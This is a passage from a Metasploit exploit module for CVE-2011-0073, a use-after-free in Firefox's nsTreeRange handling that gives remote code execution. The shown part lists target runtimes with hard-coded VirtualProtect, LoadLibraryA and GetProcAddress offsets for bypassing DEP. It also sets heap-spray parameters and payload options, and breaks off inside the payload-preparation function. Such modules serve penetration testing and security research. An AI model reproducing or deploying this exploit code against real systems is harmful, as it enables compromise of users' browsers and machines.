By overwriting a subfunction of invalidateSelection it is possible to free the nsTreeRange object that the function currently operates on. Any further operations on the freed object can result in remote code execution. Utilizing the call setup the function provides it's possible to bypass DEP without the need for a ROP. Sadly this exploit is still either dependent on Java or bound by ASLR because Firefox doesn't employ any ASLR-free modules anymore. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovered and sold to ZDI 'xero', # Shenanigans ], 'Version' => '$Revision: 13148 $', 'References' => [ ['CVE', '2011-0073'], ['OSVDB', '72087'], ['BID', '47663'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 0x1000, # depending on the spray size it's actually a lot more 'BadChars' => "", }, 'Targets' => [ [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Auto' => true, 'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1], ['navigator.javaEnabled()', 2]], 'UsesJava' => true } ], [ 'Firefox Runtime, fails with ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x781A91F8, # VirtualProtect 'LLOffset' => 0x781A9104, # LoadLibraryA 'GPAOffset' => 0x781A9014, # GetProcAddress 'UsesJava' => false } ], [ 'Java Runtime (7.10.3052.4), best against ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x7C37A140, 'LLOffset' => 0x7C37A0B8, 'GPAOffset' => 0x7C37A00C, 'UsesJava' => true } ], [ 'Java JVM (20.1.0.02)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x6D9FC094, 'LLOffset' => 0x6D9FC110, 'GPAOffset' => 0x6D9FC188, 'UsesJava' => true } ], [ 'Java Regutils (6.0.260.3)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x6D6C227C, 'LLOffset' => 0x6D6C2198, 'GPAOffset' => 0x6D6C2184, 'UsesJava' => true } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 2 2011' )) register_options( [ OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]), OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]), ], self.class ) register_advanced_options( [ OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]), OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]), OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]), OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]), OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]), ], self.class ) end def prepare_payload(target, p) base_offset = (datastore['Crash'] != true) ?
